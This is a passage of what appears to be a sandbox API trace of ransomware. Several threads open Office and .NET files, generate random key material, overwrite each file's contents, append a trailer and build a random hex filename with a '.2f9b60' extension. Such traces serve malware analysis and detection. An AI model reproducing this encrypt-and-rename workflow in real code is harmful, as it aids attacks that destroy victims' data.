(in: hFile=0x10c4, lpBuffer=0x42ad7630, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x3a61f5b0, lpOverlapped=0x0 | out: lpBuffer=0x42ad7630*, lpNumberOfBytesRead=0x3a61f5b0*=0xce, lpOverlapped=0x0) returned 1 [0157.078] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.078] WriteFile (in: hFile=0x10c4, lpBuffer=0x42adb240*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x3a61f5b4, lpOverlapped=0x0 | out: lpBuffer=0x42adb240*, lpNumberOfBytesWritten=0x3a61f5b4*=0xce, lpOverlapped=0x0) returned 1 [0161.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4550 [0161.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4580 [0161.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4580) returned 1 [0161.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42adb240) returned 1 [0161.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ad7630) returned 1 [0161.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0161.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4580 [0161.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0161.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a45b0 [0161.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a45b0) returned 1 [0161.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a45b0 [0161.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a45e0 [0161.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0161.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4610) returned 1 [0161.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0161.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa9b0 [0161.464] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.464] WriteFile (in: hFile=0x10c4, lpBuffer=0x423aa9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a61f6d0, lpOverlapped=0x0 | out: lpBuffer=0x423aa9b0*, lpNumberOfBytesWritten=0x3a61f6d0*=0x10a, lpOverlapped=0x0) returned 1 [0163.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ce0 [0163.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ce0) returned 1 [0163.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ce0 [0163.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0cb0 [0163.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0cb0) returned 1 [0163.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.252] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="30") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="98") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="67") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="81") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="02") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="69") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="52") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="52") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="25") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="97") returned 2 [0163.252] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="08") returned 2 [0163.252] RtlInitAnsiString (in: DestinationString=0x3a61f748, SourceString="e1309867d081028ad6f2d17be56c5b69ca0b525225a99708" | out: DestinationString="e1309867d081028ad6f2d17be56c5b69ca0b525225a99708") [0163.252] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a61f718, SourceString="e1309867d081028ad6f2d17be56c5b69ca0b525225a99708", AllocateDestinationString=1 | out: DestinationString="e1309867d081028ad6f2d17be56c5b69ca0b525225a99708") returned 0x0 [0163.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0xeb450 [0163.253] RtlFreeAnsiString (AnsiString="e") [0163.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ce0) returned 1 [0163.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa9b0) returned 1 [0163.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a45b0) returned 1 [0163.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a45e0) returned 1 [0163.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4580) returned 1 [0163.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4550) returned 1 [0163.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d10) returned 1 [0163.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0dd0) returned 1 [0163.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e00) returned 1 [0163.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bcc0 [0163.256] wcscat (in: _Dest=0x2050bcc0, _Source="e1309867d081" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081" [0163.256] wcscat (in: _Dest=0x2050bcc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081.2f9b60" [0163.256] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081.2f9b60", NtPathName=0x3a61f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\e1309867d081.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce22620 Thread: id = 2648 os_tid = 0x21cc [0157.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif")) returned 0x20 [0157.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF", dwFileAttributes=0x20) returned 1 [0157.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10c0 [0157.082] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x3a8cf760 | out: lpFileSize=0x3a8cf760*=179) returned 1 [0157.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0157.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e30 [0157.083] NtQuerySystemTime (in: CurrentTime=0x3a8cf620 | out: CurrentTime=0x3a8cf620*=132462177622162000) returned 0x0 [0157.083] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x1d0cb236 [0157.083] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x11d75337 [0157.083] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x2a7e2f53 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x52ab5a60 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x1fad8a44 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x7f726c7c [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x75030b13 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x28f4fb4a [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x67aac67d [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x5434d880 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x421300dd [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x3dc32f08 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x38ec06f6 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x430a1ebd [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x242617a1 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0xd3db030 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x19663496 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x67f2da2d [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x5f3cba0f [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x614fc4b6 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x49ca29e6 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x2e3925e7 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x3feb4543 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x6a3d3e82 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x11a99c62 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x3f1401a1 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x1c6911e4 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x738378ef [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x1fc65039 [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x45c9385d [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x4035ec1b [0157.084] RtlRandomEx (in: Seed=0x3a8cf610 | out: Seed=0x3a8cf610) returned 0x4f59e72 [0157.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e60 [0157.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0157.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e90 [0157.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0157.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e30) returned 1 [0157.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0157.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0157.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42adee50 [0157.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ae2a60 [0157.096] ReadFile (in: hFile=0x10c0, lpBuffer=0x42adee50, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x3a8cf610, lpOverlapped=0x0 | out: lpBuffer=0x42adee50*, lpNumberOfBytesRead=0x3a8cf610*=0xb3, lpOverlapped=0x0) returned 1 [0157.097] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.097] WriteFile (in: hFile=0x10c0, lpBuffer=0x42ae2a60*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x3a8cf614, lpOverlapped=0x0 | out: lpBuffer=0x42ae2a60*, lpNumberOfBytesWritten=0x3a8cf614*=0xb3, lpOverlapped=0x0) returned 1 [0161.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4640 [0161.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4670 [0161.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4670) returned 1 [0161.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ae2a60) returned 1 [0161.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42adee50) returned 1 [0161.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0161.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4670 [0161.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0161.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a46a0 [0161.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a46a0) returned 1 [0161.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a46a0 [0161.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a46d0 [0161.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4700 [0161.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4700) returned 1 [0161.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0161.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aaad0 [0161.475] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.475] WriteFile (in: hFile=0x10c0, lpBuffer=0x423aaad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a8cf730, lpOverlapped=0x0 | out: lpBuffer=0x423aaad0*, lpNumberOfBytesWritten=0x3a8cf730*=0x10a, lpOverlapped=0x0) returned 1 [0163.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0163.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0163.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0163.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7730 [0163.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0163.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8300 [0163.274] sprintf (in: _Dest=0x1b7d8300, _Format="%c%c" | out: _Dest="59") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8302, _Format="%c%c" | out: _Dest="db") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8304, _Format="%c%c" | out: _Dest="4b") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8306, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8308, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d830a, _Format="%c%c" | out: _Dest="55") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d830c, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d830e, _Format="%c%c" | out: _Dest="fb") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8310, _Format="%c%c" | out: _Dest="94") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8312, _Format="%c%c" | out: _Dest="f9") returned 2 [0163.274] sprintf (in: _Dest=0x1b7d8314, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8316, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8318, _Format="%c%c" | out: _Dest="17") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d831a, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d831c, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d831e, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8320, _Format="%c%c" | out: _Dest="55") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8322, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8324, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8326, _Format="%c%c" | out: _Dest="83") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d8328, _Format="%c%c" | out: _Dest="96") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d832a, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d832c, _Format="%c%c" | out: _Dest="14") returned 2 [0163.275] sprintf (in: _Dest=0x1b7d832e, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.275] RtlInitAnsiString (in: DestinationString=0x3a8cf7a8, SourceString="59db4b6a3e55fefb94f99e0d17d60dc155aded83968a143a" | out: DestinationString="59db4b6a3e55fefb94f99e0d17d60dc155aded83968a143a") [0163.275] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a8cf778, SourceString="59db4b6a3e55fefb94f99e0d17d60dc155aded83968a143a", AllocateDestinationString=1 | out: DestinationString="59db4b6a3e55fefb94f99e0d17d60dc155aded83968a143a") returned 0x0 [0163.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0xeb290 [0163.276] RtlFreeAnsiString (AnsiString="5") [0163.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8300) returned 1 [0163.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0163.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaad0) returned 1 [0163.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a46a0) returned 1 [0163.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a46d0) returned 1 [0163.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4670) returned 1 [0163.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4640) returned 1 [0163.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0da0) returned 1 [0163.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e60) returned 1 [0163.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e90) returned 1 [0163.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bc10 [0163.278] wcscat (in: _Dest=0x2050bc10, _Source="59db4b6a3e55" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55" [0163.278] wcscat (in: _Dest=0x2050bc10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55.2f9b60" [0163.279] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55.2f9b60", NtPathName=0x3a8cf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\59db4b6a3e55.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce223e0 Thread: id = 2649 os_tid = 0x21d0 [0157.106] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml")) returned 0x20 [0157.108] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0157.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.114] GetLastError () returned 0x5 [0157.114] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0157.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 Thread: id = 2650 os_tid = 0x21d4 [0157.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 0x20 [0157.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG", dwFileAttributes=0x20) returned 1 [0157.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x924 [0157.124] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x1c89fae0 | out: lpFileSize=0x1c89fae0*=821) returned 1 [0157.124] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.124] ReadFile (in: hFile=0x924, lpBuffer=0x1c89fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c89faa8, lpOverlapped=0x0 | out: 